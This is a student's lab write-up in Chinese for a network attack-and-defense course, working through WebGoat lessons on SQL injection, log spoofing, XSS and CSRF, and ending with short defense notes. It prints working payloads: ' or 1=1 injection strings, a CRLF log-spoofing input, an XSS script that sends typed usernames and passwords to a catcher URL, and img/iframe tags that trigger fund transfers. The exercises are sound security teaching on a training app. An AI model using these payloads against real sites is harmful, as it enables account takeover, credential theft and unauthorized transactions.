zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    目录

    Exp9_1安装Webgoat

    • 下载安装包
    • 运行Webgoatjava -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
    • 在浏览器中输入http://localhost:8080/WebGoat打开WebGoat登录界面,使用下方登录名、密码进行登录,成功登录后即可查看教程

    返回目录

    Exp9_2 SQL注入攻击

    Numeric SQL Injection

    • Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.
    • 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

    返回目录

    Log Spoofing

    • Goal:Your goal is to make it like a username "admin" has succeeded into logging in.
    • User Name中填入20165312%0d%0aLogin Succeeded !admin

    返回目录

    String SQL Injection

    • Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.
    • 输入查询的用户名' or 1=1--

    返回目录

    Stage 1:String SQL Injection

    • Goal:Use String SQL Injection to bypass authentication.
    • 在密码框右键选择inspect Element审查网页元素对长度进行修改
    • 在密码框输入' or 1=1 --

    返回目录

    Exp9_3 XSS攻击

    Phishing with XSS

    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    
    • 需要一段脚本读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
    <script>
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    
    • 将两段代码合并搜索

    返回目录

    Stored XSS Attacks

    • Goal:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
    • 在Message中构造语句<script>alert("20165312 attack succeed!");</script>Title任意输入。提交后可发现刚创建的帖子123
    • 点击123然后会弹出一个对话框,证明XSS攻击成功

    返回目录

    Exp9_4 CSRF攻击

    Cross Site Request Forgery

    • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
    <img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>   
    

    当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.com transferFunds.do 页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

    • 在Message框中输入,这样就转走了10000~~~(咳咳)
    <img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />
    

    返回目录

    CSRF Prompt By-Pass

    • 在message框中输入代码
    <iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
    
    • 点击Submit生成以123命名的链接,点击链接,攻击成功

    返回目录

    实验小结

    • 实验感想

    这次实验在理解上有一定的难度,结合web中文手册学长博客方便了理解。

    • SQL注入攻击原理,如何防御

    检查输入数据类型和格式,不予许用户输入' -- #

    • XSS攻击的原理,如何防御

    在表单提交或者url参数传递前,对需要的参数进行过滤。检查用户输入的内容中是否有非法内容

    • CSRF攻击原理,如何防御
    • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
    • 通过referer、token或者验证码来检测用户提交
    • 避免全站通用的cookie,严格设置cookie的域
  • 相关阅读:
    去哪儿网门票数据爬虫更新
    每周进度总结12
    每日进度总结20
    每日进度总结19
    每日进度总结18
    每日进度总结17
    每日进度总结16
    每日进度总结15
    每日进度总结14
    每周进度总结11
  • 原文地址:https://www.cnblogs.com/cxgg/p/10900292.html
Copyright © 2011-2022 走看看